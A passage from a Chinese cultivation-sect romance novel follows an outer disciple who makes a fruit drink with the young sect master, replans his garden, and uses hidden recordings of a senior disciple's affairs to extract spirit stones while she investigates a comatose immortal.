栗烈独自一人慢条斯理又喝了几杯,随后拿起手中的剑,继续练起来。
没一会,温微竹从灵植间钻出来,问:“少宗主,这里面的果子,我可以摘下来研究吗?”
栗烈收剑,捏诀收了收身上的汗,一身清爽地走到温微竹身前,“什么果子?”
“转心莲。”
温微竹将栗烈带到一株蔓生植物面前,这株植物现在挂满了金黄色的圆形果实,表皮光滑,看起来润泽剔透,长势
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喜人。
栗烈对这个果实有些陌生,虽然是他挖过来的没错,但也有可能长了个什么野生东西。
“你怎么确定是转心莲?”
如果他记得没错,转心莲虽然是蔓生,但是开的是非常漂亮的状似莲花的花。
他在《灵物万千详解》里也有写。
果实记载比较少,他当时碰上的时候正是花期,就没有一直等到结果。
只是从其他的书籍中得知,转心莲的果实被当地的人称为禁忌之果,无人敢食用。
温微竹拿出《灵物万千详解》,将书中对转心莲的叙述和图画与眼前的藤蔓对照。
“你看,都对得上。这书上没具体说果实,但我闻到这果子有一股诱人的清香,所以想摘了研究试试,能不能吃,好不好吃。”
栗烈静静看着眼前这个充满探索欲的女子,不得不提醒她:“书上也说了,这植物的果实被当地人称禁忌之果,无人敢触碰,你还想试?”
“这书上也没说到底哪里禁忌,不试试怎么知道?”温微竹跃跃欲试,只是碍于这是少宗主的东西,不能随便动手。
“你摘吧,以后这院子里的所有东西,你都可以随便摘了研究。”栗烈说着,主动将高处的几个摘下来给温微竹。
温微竹接过栗烈递来的金黄色果子,眼里一扫往日的温和平静,望着栗烈的眼神充满了光。
栗烈跟着温微竹来到了厨房。
温微竹先是把果子用盐水细细洗了一遍,随后拿出干净的砧板与水果刀,正打算一刀下切,就见一道光打在了刀锋上。
温微竹抬头望向一旁的少宗主。
少宗主淡淡解释:“转心莲是七级灵物。”
温微竹:“……”
五级的灵鱼她都砍不动,七级的灵果……
这些灵物对杂灵根确实不怎么友好。
温微竹没说话,提起少宗主灵力加持过的水果刀朝着金黄的果子切下去。
果子切开的瞬间,一股混合了多种水果香的浓郁香味扑鼻而来,令人心旷神怡。
温微竹的眼睛亮了亮。
将切开的果子掰成两半,金黄色的汁液从中流淌而出。
没想到这金黄色的果子中间是空心,只有一些裹着种子的果瓤和丰富的金黄色汁液。
温微竹下意识拿筷子沾上汁液想放嘴里尝尝,筷子尖在靠近嘴唇的瞬间,持筷的手蓦地被栗烈拽住。
“有没有毒都不知道,就乱试。”
温微竹还未回神,就被栗烈拽着手,调转筷子尖的方向。
筷子尖触碰到少宗主温润的唇,他伸出舌尖舔了舔筷子上沾的果子汁液,细细品尝了一番。
温微竹神色紧张,是她想要尝试研究,若最终却让少宗主中毒,那她差不多也完蛋了。
栗烈细细品尝入口的那一丁点金黄色汁液,酸甜适中,只是一点点,却在其中体会到了多种水果的味道。
栗烈一边品尝,一边不经意扫过温微竹近在眼前的脸。
她紧紧盯着他品尝的嘴唇,丝毫没注意到两人过近的距离,眼里只有对果子是否有毒的担忧。
栗烈舔了舔嘴唇,松开拽着温微竹的手,拉开两人的距离,给出尝试后的结论:“没毒,可以食用。”
20. 少宗主诱哄猎物
听闻这金黄色的果子无毒,温微竹刚才的担忧一扫而空,取而代之的全是对果子味道的好奇。
“味道怎么样?”
问完,温微竹放下手中的筷子,又重新拿了根筷子,沾上果汁,放入嘴中细细品味。
栗烈望着被放置在一旁的筷子,视线又转向温微竹含着筷子的纤薄嘴唇。
“酸、甜、香。”简短的说完自己的感受,栗烈静静等待温微竹的反馈。
温微竹尝了一点,觉得不够,便将分成两半的果子拿起,与栗烈一人一半品尝里面金黄色的汁液。
多吸了一点果汁,酸得温微竹直蹙眉,这果子虽然口味多样,富含各种果香,但若直接食用,还是过于酸了些。
“怪不得你把酸排在第一位。”放下手中半边果瓤,温微竹盯着这金黄色的果实陷入沉思。
想到什么,温微竹猛然抬头,她拿出一个壶,将转心莲的果实切开后,将果汁都倒入壶中。
又洗了一个柠檬和朱栾,切了一起放入壶中。
栗烈见温微竹忙得不亦乐乎,站在她身旁问:“有什么我能帮忙的吗?”
少宗主突然出声才让温微竹回过神来,意识到少宗主还一直站在这里。
她抬头看向与她并肩而立的少宗主,想了一下,才开口:“少宗主可以帮我去取点冰泉水过来吗?”
少宗主点点头转身提了个小桶去打水,望着少宗主离去的背影,温微竹侧头看向刚才少宗主站的位置。
疑惑一番便也没再多想,取了梅子加入壶中。
栗烈动作很快,温微竹还在取蜂蜜,栗烈就已经打了水过来。
将冰泉水放入壶中搅拌,栗烈差不多知道温微竹想做什么了。
“做刚才的果饮?”
温微竹点点头,“之前加入朱栾是看到朱栾的时候想的,但朱栾毕竟只有柑橘香,而这转心莲果却蕴含多种果香,泡入冰水中化开,必定让这饮品口感层次更多样!”
搅拌完之后,温微竹倒一点放入小杯中,浅浅尝了一下。
温微竹又拿了个小杯,倒小半杯递给少宗主。
“少宗主,你尝尝,这酸甜度如何?还需要再加点蜂蜜吗?”
清凉的饮品入喉,丰富的果香味在味蕾炸开,一瞬间仿佛各种水果都尝了一遍。
“不用,还可以再加一点黄金果汁。”
看来少宗主喜欢酸口一点。
“不叫转心莲果?”温微竹随口问。
“这果子看起来叫那名字也不太合适,你说是不是?”栗烈将果皮翻过来,黄金灿烂的样子,确实很符合“黄金果”这个称呼。
温微竹不置可否,微笑请求:“那能麻烦少宗主帮我再摘几个黄金果,可以吗?”
两人边品边探讨,没一会一壶果饮就见底了。
眼见天要黑下去,温微竹不得不离开。
离开之时,栗烈递给温微竹一个传送木牌,这样以后她就可以随时自己过来。
温微竹茫然接过,栗烈才反应过来,温微竹杂灵根根本点不亮。
“你修为太低了,有想过改善一下吗?”不得不把传送木牌换成传送符,栗烈问。
接过传送符,温微竹好奇问:“我是杂灵根,能改善吗?”
要是能改善,她当然乐意之至。
“洗髓。”栗烈简单吐出两个字。
洗髓的意思温微竹还是明白的,就是不知道洗髓具体是怎么个操作。
但……
洗髓应该不是一件容易的事情。
起码得花不少灵石?
所以温微竹回答得很直白:“我没钱。”
栗烈万万没想到温微竹没问会不会有风险,会不会痛苦,就单单说没钱……
“所有的花费我可以给你出。”
钱反而是最好解决的一个问题。
温微竹怔愣片刻,头一次有些不确定起来。
见温微竹迟疑,栗烈猜测她还是有些顾虑,便说:“我只是给你提这个建议,愿不愿意洗髓,全看你自己,所以你不用有压力。”
温微竹明白。
少宗主想让她洗髓的目的很明显,他挺满意她的厨艺,但不满意她的低修为导致的许多的不方便。
若是她能洗髓,改善资质,就能解决很多麻烦。
他也能省心很多。
温微竹会迟疑倒不是因为别的,而是怕自己万一洗髓失败,让少宗主的钱白花了。
想了想,她问:“洗髓的成功率如何?杂灵根洗髓之后,确定能操纵灵力吗?”
投入要有产出。
这个道理都明白。
少宗主愿意投入,那她这边必然得拿得出产出才能说得过去。
栗烈也不是太明白洗髓成功率如何,只是他知道一个专门帮人洗髓的,还挺有名,据说他帮忙洗髓成功率很高。
“我知道一个洗髓很专业的人,我可以带你去见他一面。到时候,让他给你解答和洗髓相关的所有问题,你可以根据他的回答,再决定要不要洗髓。”
栗烈希望温微竹能洗髓,杂灵根不能修炼就与凡人无异。
身体脆弱,寿命短暂。
栗烈不希望这样。
但若是温微竹放弃,那她就是放弃走入他的世界。
栗烈暂时不知道自己会如何处理。
可能他也会放弃她吧。
若是那样就很遗憾。
目前为止,他还没遇到像温微竹这样合他心意的人。
温微竹点点头表示明白。
考虑到无息仙尊的情况,温微竹还是婉拒了少宗主,表示她需要回去考虑一下。
栗烈不太满意,但也没有强求。
接下来几天,温微竹大部分时间都扎根在栗烈那乱糟糟的院子里。
直到温微竹从草堆里捞到一株奄奄一息的灵植,温微竹终于控制不住自己蠢蠢欲动的心思,向少宗主询问:“少宗主,你有考虑整理一下这个院子吗?有些灵植,我觉得可能需要换一个地方。”
练剑的栗烈垂眸,在温微竹看不到的角落扬起唇角。
“你会整理吗?我采回来随便种的。”栗烈收剑,走到温微竹的身边。
“交给我就行,我最近除了《灵物万千详解》,还看了一些其他的书籍,对这些灵植的习性了解得更全面。”
温微竹
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站起来,指着整个院落,跟少宗主讲述自己的规划。
“这边向阴,我们可以把一些喜阴的灵植挪到这边来,喜阳的就挪到这边去。中间我们可以搭一个架子,让转心莲攀爬上去,制造一个凉亭,到时候你既可以在凉亭里喝茶,也可以乘凉。而且我查过了,转心莲可以分株繁殖,到时候我们多种几颗,等凉亭上挂满了果子,你坐在凉亭里,摘一个就可以兑水里喝。想想是不是很美好?”
栗烈不说话,站在温微竹的身后默默点头。
之前他就觉得温微竹长得很柔弱,靠得近才发现,温微竹只到他下巴这里。
长得也不高。
是不是小时候营养不良?
温微竹将自己想了好几天的规划一一跟少宗主陈述,少宗主全程附和,没提出一丁点的反对意见。
两人很快就开始动工。
于文峥过来的时候,就看到院子里大变样,到处翻新,中间还建了个凉亭,搭起了木架子,两边更是铺了小石子路。
“你这是要把原先乱糟糟的灵植园给改造成景观园吗?”于文峥环顾着四周,避开一个又一个的土坑,朝两人走过来。
栗烈不理他,拿着锤子专注干活。
还是递钉子的温微竹给了他回复:“没有,就是把灵植规划一下。”
望着栗烈坐在梯子上,卷起袖子,露出精壮的手臂,像个凡人一样干活,于文峥陷入了沉思。
不过是一个响指就能解决的事情,栗烈在干什么?
难道跟温师妹这种没有灵力的人待久了,忘了他自己是个金丹期修士吗?
但是他识趣的没有开口。
他的直觉告诉他,他若是开口了,他就死定了。
于文峥站了一会,见那两个人合作无间,配合默契,感觉自己站在旁边像个监工,有点说不过去,便礼貌地问:“有什么我能帮忙的吗?”
温微竹抬头看了一眼少宗主,见少宗主沉默干活根本没看于文峥一眼,便将手中的钉子递给于文峥。
让于文峥帮她递钉子,她去转移灵植。
等温微竹一走,栗烈将手中锤子一扔,坐在梯子上,居高临下看着于文峥。
于文峥一头雾水,“干什么这么看着我?我做错了什么?”
栗烈将袖子拉下来,从梯子上一跃而下,丢给于文峥一句:“你来敲。”
就扬长而去。
被留下的于文峥一脸茫然。
见栗烈溜达去了温微竹身边,于文峥总算明白了。
合着他一腔好意,反倒是多余呗!
他就不该出现,打扰了他们两人世界!
温微竹正围着一株灵植绕圈松土,察觉到有人靠近,回头看见少宗主站在她身后,不禁看了于文峥方向一眼。
“少宗主怎么过来了?”
“于文峥说他一个人就可以,让我来帮你。”栗烈撒谎脸不红心不跳。
温微竹本想说自己可以,但看少宗主那么积极,想着少宗主可能也乐在其中,便给少宗主挪了个位。
不远处独自一人处理凉亭的于文峥望着那两人成双成对的模样,再看看自己手中的锤子,开始怀疑人生。
21. 少宗主有自己的节奏
三人忙活了一下午,然后坐在初见成效的凉亭里喝冷饮。
初次喝到果饮的于文峥惊为天人,盛赞温微竹好手艺。
“温师妹,你也太宜家宜室了。有没有考虑嫁人?对了,你今年多大年纪?”
“23。”
“那也没比我大多少,我21。但你看起来好小。”
温微竹笑笑不说话。
“有考虑成家吗?”于文峥继续问。
栗烈一个冷眼飞过来。
温微竹蹙了蹙眉,明显对这个话题不太感兴趣,甚至是反感。
但她的厌烦一闪而过,还未被两人捕捉就消失不见。
她仍然保持端庄的微笑,回复简短而干脆:“没有。”
于文峥无视栗烈的冷眼与温微竹话语中的冷淡,继续问:“为什么?没遇见喜欢的人吗?”
温微竹依旧礼貌微笑,“可能吧。”
于文峥厚着脸皮最终也没问出什么有用信息。
三人散场后,送走温微竹,于文峥忍不住跟栗烈吐槽:“你还朝我飞冷眼,我还不是为了你。”
栗烈很冷漠,“不需要。”
“怎么就不需要了?”于文峥有些搞不清楚现在状况,“你到底是怎么个意思?难道是我会错意了,你对温师妹没有意思?”
栗烈兀自坐下擦剑不理他。
“不可能!”于文峥理直气壮分析,“就你那粘人劲,还露肌肉,跟个花孔雀……”
“滚!”被说中的栗烈冷漠打断他,拿起手中剑,大有一种于文峥再说下去,就跟他同归于尽的架势。
于文峥乖乖闭了嘴。
栗烈练剑半天发现于文峥还不走,不爽地问:“你干什么?想在这里过夜?”
于文峥欲言又止,想了半天,终于还是踢着脚下小石子,说出自己的心里话。
“我承认温师妹人不错,但是她是杂灵根,修炼到头也就那样。先不说宗主那边不可能同意你找一个杂灵根的。就算你和温师妹在一起,你们也只能走很短的一段路,这些事情你要想清楚。”
“不需要你操心,我有办法。”
“什么办法?”于文峥想到若是能解决这个难题,那这两人凑一起也算一件好事,但他立刻反应过来,“你不会说的是洗髓吧?你还没放弃那个想法?”
见栗烈沉默不语,于文峥心中焦急。
洗髓那是拿命开玩笑!
“温师妹不会答应的。”
“她会答应的。”栗烈淡淡道。
于文峥气急,见说不通栗烈,只能跺跺脚离去。
不行,栗烈这边说不通,他只能去劝温师妹,只要温微竹不愿意,栗烈拿她也没办法。
温微竹这几天除了频繁地出现在灵深峰,另一个常光顾的地方是藏书阁。
她在书上看到如果修士的身体灵力溃散,从外部补充灵力也可以让修士暂时维持身体的灵力运转,而补充灵力最直接的方式,就是灵石。
也就是说,只要她不断地给无息仙尊补充灵力,他的身体就能暂时维持,不至于恶化。
她需要灵石,不是一颗两颗,而是大量。
去藏书阁的路上,温微竹正思索着自己的计划,于文峥突然从后边追过来。
温微竹停下脚步,看向于文峥:“于师兄,你也去藏书阁吗?”
于文峥点点头,与温微竹并肩而行。
思考了一会,于文峥才试探开口:“温师妹,最近少宗主有没有跟你提什么新鲜事?”
“新鲜事?”温微竹想了想,不明白于文峥指的什么,“没什么吧,怎么了?”
“呃……”于文峥不知道如何开口,思来想去,觉得这件事非同小可,还是必须得提醒提醒温师妹,便装作无意道:“少宗主有没有跟你提过洗髓什么的。”
“洗髓?”温微竹心生疑惑,“少宗主是提过一次,怎么了?”
栗烈果然是不死心!
于文峥挠挠头,“你怎么想的?”
温微竹想了一圈,揣测着于文峥问这些事的初衷。
难道是之前她拒绝了少宗主,少宗主找于文峥来当说客?
“其实有机会洗髓我肯定是很乐意,更何况少宗主也说了所有洗髓的花费他帮忙出。这么好的机会,只是我现在确实有其他的事情,等这件事结束之后,应该就没问题了。”
温微竹尽量把话说得圆满。
“别啊。温师妹,不是我恐吓你,洗髓不是开玩笑的,它是有风险的,如果不是孤注一掷,一般没人轻易去洗髓。你不要因为是少宗主提的,就拿自己的生命开玩笑。就算少宗主跟你说洗髓,你也千万不要答应,知道吗?只要你不答应,少宗主也不会强迫你对不对?”
温微竹怔了一下,忍不住侧头去探究于文峥这话的真正意图。
洗不洗髓,或者是有没有风险,实际上她不是很在乎。
但于文峥与少宗主两人出现相左的意见,还是让温微竹留了个心眼。
“我暂时不会去洗髓的,于师兄不用担心。”
温微竹用微笑安抚于文峥的焦急,好似将他的担忧放在了心上。
听到温微竹说不会去洗髓,于文峥稍微放心一点。
说话间,两人也来到了藏书阁。
刚进门,就看见少宗主正站在最外排的书架那里翻书,少宗主也是第一时间发现了两人的存在。
于文峥与栗烈对上视线的一瞬间,想到刚才他劝温微竹不要听栗烈的话去洗髓,顿时心虚地错开了视线。
栗烈皱眉。
于文峥在搞什么名堂!
“少宗主。”走到近前,温微竹跟少宗主打了个招呼,随后跟两人道别,“你们先忙,我去找找书。”
于文峥跟温微竹挥手道别,回头发现栗烈正阴沉着神色盯着他。
于文峥吓了一跳,赶紧解释道:“我就是半路碰到的温师妹,顺道过来的!”
栗烈快速地翻着手中的书,神色不见好转,“那你心虚什么?”
于文峥快速眨巴眼睛,“没有啊,我哪有心虚,唉,我要去找阵法书了,再晚一点就被人借走了,我先走了,再见~”
于文峥一边说一边逃,话音还在,人已经没影了。
栗烈很不爽,在灵深峰的时候,温微竹明明能跟他谈笑风生,但出了灵深峰,温微竹就当他过路人。
怕别人知道两人的关系,欺负她是吧?
他得想办法尽快
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让她接受洗髓才行。
温微竹走到藏书阁偏僻的角落里,爬上梯子。
她在这里放了几天的留影珠,每次看见无息仙尊未婚妻过来先将留影珠打开,等她离开再关掉。
通过几次留影珠的信息,她也搞清楚了不少事情。
无息仙尊的未婚妻全名叫丁紫瑜,是万青峰丁长老的独女,修为元婴期以上。
与丁紫瑜有不清不楚关系的弟子目前已经有三名,除去蒋明祐,还有两名。
蒋明祐只有最开始的一次出现过,之后都是其他的弟子。
温微竹猜测蒋明祐与丁紫瑜是纯粹的□□关系,没有感情纠葛。
但另外的两名弟子明显是受到了丁紫瑜的蒙蔽,一心以为自己与丁紫瑜是真爱。
丁紫瑜每次都以自己是无息仙尊未婚妻的身份来搪塞想跟她要名分的弟子。
温微竹坐在角落里,透过顶部的天光,凝视手中的留影珠。
以她目前的证据,也可以威胁丁紫瑜,但她想知道丁紫瑜到底哄骗了多少男弟子,所以没有行动。
如果今日丁紫瑜没有换新人,那她就不等了。
温微竹正拿着留影珠出神,一抹红色身影蓦地闯入余光之中。
温微竹刚要起身,就被一柄乌金铁扇压坐下去。
“这个位置真不错,让我也坐坐。”蒋明祐嬉皮笑脸地出现在梯子口,也不知道他是怎么做到的,愣是在狭窄的地方稳当地坐了下来。
温微竹不动声色将留影珠放入手心,却被蒋明祐察觉。
他微笑着拽住温微竹的手腕,一点点掰开温微竹的手指,将留影珠从温微竹的手心扣了出来。
“留影珠?”蒋明祐将珠子在手心里掂量了一下,朝下面的角落看去,“这角度观影确实不错,让我来看看,这画面够不够劲爆。”
温微竹一声不吭。
蒋明祐打不开留影珠,挑眉意外地看向温微竹,“加密?密码是什么?”
正在此时,书架下传来响动。
温微竹瞟眼看去,丁紫瑜竟然换了个新的男弟子过来了。
她还没来得及从这里下去!
蒋明祐显然也有些惊讶,抬手打了个结界,感叹:“没想到丁紫瑜玩得比我还花。”
他将视线转到温微竹的身上,举了举手中的留影珠,“所以,这里面录的是什么?”
温微竹看向书架下,书架下两人开始说一些肉麻的情话。
“不用担心,有结界,他们听不到我们说话。”
温微竹拧眉看向蒋明祐,“没结界,他们就能发现我们吗?”
“你以为所有修士都跟你们杂灵根一样吗?”蒋明祐说着,手伸向温微竹的心口,被温微竹避开了。
蒋明祐也不强求,手隔空对着温微竹心口的位置,嘴里哒哒发出有节奏的声响。
“不止你的气息,连你的心跳都听得一清二楚。你的心跳真稳定啊,那天可不是这样的。”蒋明祐强行拽着温微竹,抵着她的脑袋,让她将书架下两人苟且的画面尽收眼底。
“你那天的心跳非常慢,慢到甚至我以为你死了呢。一般人看到这种画面不应该血脉贲张,心跳加快吗?你为什么会心越跳越慢?”
22. 被少宗主对家找上门
温微竹感觉一切都像一出无声默剧,她的情绪很稳定,心跳也非常平稳。
越是危险的时刻,她越是平静,内心仿佛一潭死水,掀不起半点涟漪。
“是觉得这种事恶心吗?”
她听到蒋明祐问。
“恶心?怎么会,这可是我可以拿来保命的东西,我怎么会恶心。”
温微竹从蒋明祐手中拿回留影珠,望向蒋明祐的眼神不怯不卑,“你们的把柄,我可是喜闻乐见呢。”
“把柄?”蒋明祐笑了,“就这玩意你以为能当我们的把柄?”
蒋明祐动动手指,手中的留影珠就碎成了齑粉。
温微竹望着飘落在地的齑粉,面色不动,抬头见蒋明祐不屑的神色,冷笑道:“蒋师兄不会以为我只此一份吧?像我们这种以这种阴险手段谋生的人,怎么可能只留一份?”
“哦?”蒋明祐神色变了变,不由多打量了温微竹几遍,随后嘴角扯出一个阴冷的笑。
温微竹的脖颈猝不及防被掐住,蒋明祐冷笑出声:“捏死你这个人都跟捏死一只蚂蚁一样轻松,你哪怕留了一屋子,也等着吃灰吧!”
气管被掐住,温微竹双手拽住蒋明祐的胳膊用力敲打,这些微弱的反抗对蒋明祐来说无异于挠痒痒。
呼吸被阻,温微竹脑子一阵阵发黑。
“我……若是死了,你……你们所有的丑闻……都会曝光!”温微竹涨红了脸,努力挤出断断续续的话语。
“哦?我倒是很感兴趣,你都死了,还怎么曝光?”蒋明祐稍微松了手中的力气,但仍然掐着温微竹的脖子,拇指抵着最脆弱的关节。
乍然得到呼吸的温微竹一阵急咳,她抬眸瞪向蒋明祐,“我们这种人自然有我们的求生之法,我若是死了,不出半天,就会有人将我手中有的证据全都公之于众。你也不用想着在此之前找到我的同伙,一般用来当后路的同伙,你是查不出来的。”
“哟,考虑得还挺周全。”蒋明祐终于松开手,在一旁坐下,看见温微竹脖颈留下明显的深紫色掐痕,吐槽:“杂灵根就是脆,栗师弟看上你哪了?死得快?”
温微竹皱眉,蜷着身子,捂着脖子缓了好一会才侧头质问:“你什么意思?”
“你是打听了很久才靠近栗师弟的?”蒋明祐冷漠地看着书架下偷情的两人,“那你没打听过我?我花名在外,就算你把我与丁紫瑜乱搞的事情搞得人尽皆知,对我也没有影响。”
蒋明祐冷嗤着看向温微竹,“你以为所有人都跟栗师弟一样好拿捏?”
温微竹凝眸盯着蒋明祐,她的手攀上一旁的书架,拿起其中的一本书,道:“这些丑事宣扬出去对你是没有影响,但对丁紫瑜就不一样了!”
随着温微竹话音落下的,还有她手中的书本。
书本砸在结界上,被反弹了回来。
只是这突如其来的攻击,导致了结界灵力的波动。
“谁?”丁紫瑜敏锐地感觉到了灵力波动,一道灵力飞速朝着灵力波动之处袭去。
猝不及防的蒋明祐就这样暴露在了书架下两人的面前。
“蒋明祐?你怎么躲在这里?”丁紫瑜整理好衣服,抬头看见蒋明祐身后的女子,恍然道:“哦,新猎物?”
被发现的男弟子紧张得赶紧收拾好衣服,躲在丁紫瑜的身后。
“并不是,因为我拿你们乱搞的影像威胁他,他想杀我灭口。”温微竹快速从书架上爬下来,与蒋明祐和丁紫瑜成三角形角度站着。
“怎么回事?”丁紫瑜没太明白什么情况,皱眉看向蒋明祐。
蒋明祐坐在书架上,仿佛事不关己看戏一般道:“就是她说的那样。”
躲在丁紫瑜身后的男弟子听出不对劲,拉着丁紫瑜的袖子质问:“丁师姐,什么意思?你和蒋师兄有一腿?”
这个小弟子是丁紫瑜哄了好长时间才哄上手,这还没吃饱呢,就被破坏了。
丁紫瑜赶紧哄:“钟师弟,你别听她胡说,没有的事,我心里只有你。”
说完,冷眼看向温微竹。
“胡言乱语的疯子!”
丁紫瑜抬手就要下杀手,温微竹急道:“林师弟、张师弟都等着你给名分呢,丁师姐,我若一死,你在这个位置所有的影像我保证到时候全宗门人手一份。”
丁紫瑜脸色立马变了,望向蒋明祐。
蒋明祐摊摊手,“这个位置真是个不错的位置。”
“你发现了你不告诉我?”丁紫瑜霎时明白了关窍所在。
定是蒋明祐明明发现了这个女人的存在,却在其中做了手脚,不让她发现!
“我只是为了增加点情趣嘛。”蒋明祐看热闹不嫌事大。
丁紫瑜恨得牙痒痒。
丁紫瑜身后的钟师弟总算是明白了,丁紫瑜不但跟蒋明祐有一腿,还和什么林师弟、张师弟都有一腿!
“你!丁师姐你!你太过分了!”说着,那钟师弟就抹泪跑了。
剩下三人你盯着我,我瞪着你。
丁紫瑜干脆抱胸靠在一旁,看向同样贴书架站着的温微竹。
“说吧,你到底想干什么?”
“我能干什么,不过是想找师姐要点灵石花花。可是蒋师兄却要我命。我若是能好好活着,那些影像自然藏得好好的。可我要是一旦死了,那些影像就会成为整个修仙界的饭后谈资。”
温微竹抬起温顺的脸,脸上露出无害的微笑。
“丁师姐,对于你来说,灵石不算什么,但名声可就不一样了。您可是人人敬仰的无息仙尊的未婚妻。”
丁紫瑜盯着温微竹,心中琢磨,“你确定你只是想要灵石?”
“我一个杂灵根又修炼不了,除了要点灵石花花,其他给我也没用。”温微竹从袖子里掏出一个留影珠,抛给丁紫瑜,“我有很多备份,这颗给你拿去自己看。”
丁紫瑜接过留影珠,温微竹说了一个密码,丁紫瑜确认了内容之后,抬眸看了一眼坐在书架上看戏的蒋明祐。
一个储物袋丢到温微竹的怀里,丁紫瑜非常慷慨,“这些灵石够你花一辈子,别让我看到任何对我影响不好的东西流出来,否则,我会让你生不如死。”
说
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完,丁紫瑜就转身走了。
蒋明祐坐在书架上冷笑,“你还挺聪明,让丁紫瑜保你性命。”
“谢谢夸奖。”温微竹微笑着收好储物袋,“那蒋师兄,我先告辞了。”
“告辞什么?我们一起走啊。”蒋明祐从书架上一跃而下,与温微竹并肩而立。
温微竹站定,侧身与蒋明祐保持距离。
“少宗主此时也在藏书阁,如果蒋师兄想跟少宗主起冲突的话,就跟我一起出去,如何?”
蒋明祐轻笑一声,将胳膊搭在温微竹的肩膀上,挑眉:“那正好,我倒是想看看,栗师弟能为你做到什么程度。”
温微竹避开蒋明祐的触碰,咬牙与蒋明祐无声对立。
她不想成为蒋明祐与少宗主较量的借口,一来她不想成为众矢之的,二来,过度的曝光会引起幕后之人的警觉,为了安全,那些人必定要先处理掉她。
无息仙尊的问题没有解决之前,她只想保持低调。
见温微竹并不想一跃成名,蒋明祐反倒有些意外。
“我以为你靠近栗师弟为的是名声地位,可貌似你是别有所图。你可真有意思,不若你告诉我,你在打什么主意,我就放你一马如何?”
温微竹凝视着蒋明祐,之前听蒋明祐与丁紫瑜说起过无息仙尊,蒋明祐似乎对无息仙尊了解不多,他大概率是个不知情之人。
“你真想知道?”温微竹迟疑了一下,“这事认真说起来,和你应该也有点关系。”
“什么事?”蒋明祐凝神听。
“你是新一代的天灵根,那你应该知道在你之前,常阳宗的天灵根无息仙尊吧。你对他可有了解?”
温微竹紧紧盯着蒋明祐,不错过他半丝反应。
“无息仙尊?”蒋明祐神色疑惑,“他两年前不是受伤昏迷,现在还躺在云萃峰,他怎么了?”
“天灵根,受伤昏迷,然后躺在云萃峰宗门不闻不问?”温微竹反问。
“这怎么了?两年前万青峰丁长老判断无息仙尊灵台受损,需要闭关养伤,高阶修士闭关个几年几十年有什么可奇怪的。”
“可无息仙尊是昏迷状态,若是身体出了什么问题……”
“宗主有派人专门照料,有问题,宗主那边第一时间就会知晓。”说着,蒋明祐意识到问题,“你的意思是无息仙尊那边出问题了,而宗主不知道?”
“你怎么确定宗主是真的不知道,还是假装不知道?”温微竹明知道将这件事说出来有一定的风险,但直到现在为止,蒋明祐都不像是参与的样子。
如果她能得到蒋明祐的帮助,这件事会简单很多。
同样作为天灵根,若是曾经的天灵根被无情舍弃,那作为接班人,怎么说也会有唇亡齿寒之感。
“这么说无息仙尊是真的出问题了?”蒋明祐捏着扇子若有所思。
温微竹意识到自己被蒋明祐套话,警惕地看向蒋明祐。
“无息仙尊在云萃峰,有他的寒髓剑镇守,你一个杂灵根弟子是怎么知道的?”蒋明祐化被动为主动,目光紧紧盯着温微竹。
23. 少宗主救美
事情走到这一步,如若温微竹不想继续冒这个险,完全可以说她就只是猜测而已,然后把这件事糊弄过去。
但与蒋明祐对峙了半天之后,温微竹决定相信自己的判断。
蒋明祐对无息仙尊的事情一无所知,而同样作为天灵根,蒋明祐必定不会对无息仙尊的事情视而不见。
“现在是我在负责照料无息仙尊。”
此话一出,蒋明祐不由露出惊讶的表情。
“我听说你是外门进来的?后台这么硬,从外门进来就分去云萃峰?”
哪怕嘴上这么说,蒋明祐也意识到事情非同寻常。
宗门但凡对无息仙尊上点心,也不至于从外门提拔一个弟子去云萃峰照料。
“正是因为我没有后台,所以才会调去云萃峰。我去云萃峰之前,云萃峰灰尘满天、杂草丛生,无息仙尊奄奄一息。你觉得两年来都没人管,为什么忽然又调我一个外门弟子前去照料?”
想要解决无息仙尊的事情,仅凭温微竹自己,根本心余力拙。
她不是没想过找于文峥,但于文峥对无息仙尊的态度她完全试探不出,她不敢冒这个险。
少宗主她就更不敢试探了。
毕竟宗主在这其中扮演的角色存疑。
她不敢冒险。
蒋明祐顿住拍扇子的动作,不由眯眼仔细端详眼前的女子。
无论是相貌还是气质,都是泯然众人。
他之前一直好奇,栗师弟到底为何对这个人另眼相看,如今看来,眼前这个人,外在平平无奇,脑子里倒是有点东西。
“这种事情,你竟然敢对我说。你靠近栗师弟是为了这个事情?你怀疑宗主?”
蒋明祐都不得不佩服眼前之人的勇气,外门杂灵根弟子与宗主之间,无异于蝼蚁与大象,无论蝼蚁如何挣扎,对于大象来说,都不值一提。
而眼前女子,竟然敢螳臂挡车。
“我谁都不怀疑。”温微竹并没有被蒋明祐打量的眼神吓退,她一如既往冷静,迎向蒋明祐的目光也非常的坚定,“但我也谁都不信任。”
蒋明祐忍不住笑出声,“那现在我呢?也不信任吗?”
温微竹没有直接回答,周围很安静,温微竹的声音在一片沉静之中显得尤其的冷漠平静。
“无息仙尊是天灵根,在受伤之前一直是常阳宗的支柱,如果他死了,你就是他的接班人。那么他走过的路,都是你的前车之鉴。我想你会比我更想搞清楚这其中到底是怎么一回事。”
温微竹顿了一下,说出来的话犹如巨石坠落,振聋发聩。
“毕竟那与你的未来息息相关。”
蒋明祐抱臂靠在一旁的书架,之前不好闻的味道已经散尽,但总归空气不太新鲜,蒋明祐的心情不算太好。
眼前的女子将一切都拿捏得很死,他不想承认,但不得不承认,她说的都在点上。
对于无息仙尊,在最开始的时候他或许只是存了一些好胜之心,但现在的情况,却让他不得不心生警惕。
天灵根对宗门来说是多么难得,天灵根是宗门的招牌,是宗门与其他宗门甚至魔修对抗的底气。
正常情况下,哪个宗门能放任宗门内的天灵根自生自灭?
所以无息仙尊身上到底发生了什么,他是绝对会去一探究竟。
但他可不想被一个小小的杂灵根弟子拿捏。
“你说的确实没错。”顿了一下,蒋明祐继续道:“那你觉得我直接把你抓到宗主面前,去试探宗主对这件事的态度如何?毕竟你想利用我,但对我来说,你却没什么用。”
温微竹的手蓦地捏紧,她努力控制自己的神色保持冷静,但扯出的笑容还是过于僵硬。
“蒋师兄,”温微竹竭力让自己放松,她半转过身,朝蒋明祐投去游刃有余的眼神。“别忘了,我手上还握着丁师姐和你的丑闻,只要我出事或者死了,你们的丑闻就会传遍修真界。”
温微竹整整自己的衣裳,挺直腰背,看起来闲庭信步的模样。
“我知道你不在乎,但是丁师姐在乎,倘若我出事的原因在你,横竖我一死,丁师姐发泄不满的对象就只能是你。”
温微竹朝蒋明祐婉约一笑,“蒋师兄何必做这种得不偿失、惹一身腥的事情?更何况,万一试探失败,却白白打草惊蛇,岂不是赔了夫人又折兵?”
蒋明祐失笑出声,直拍手中铁扇:“你这张嘴是挺能说。”
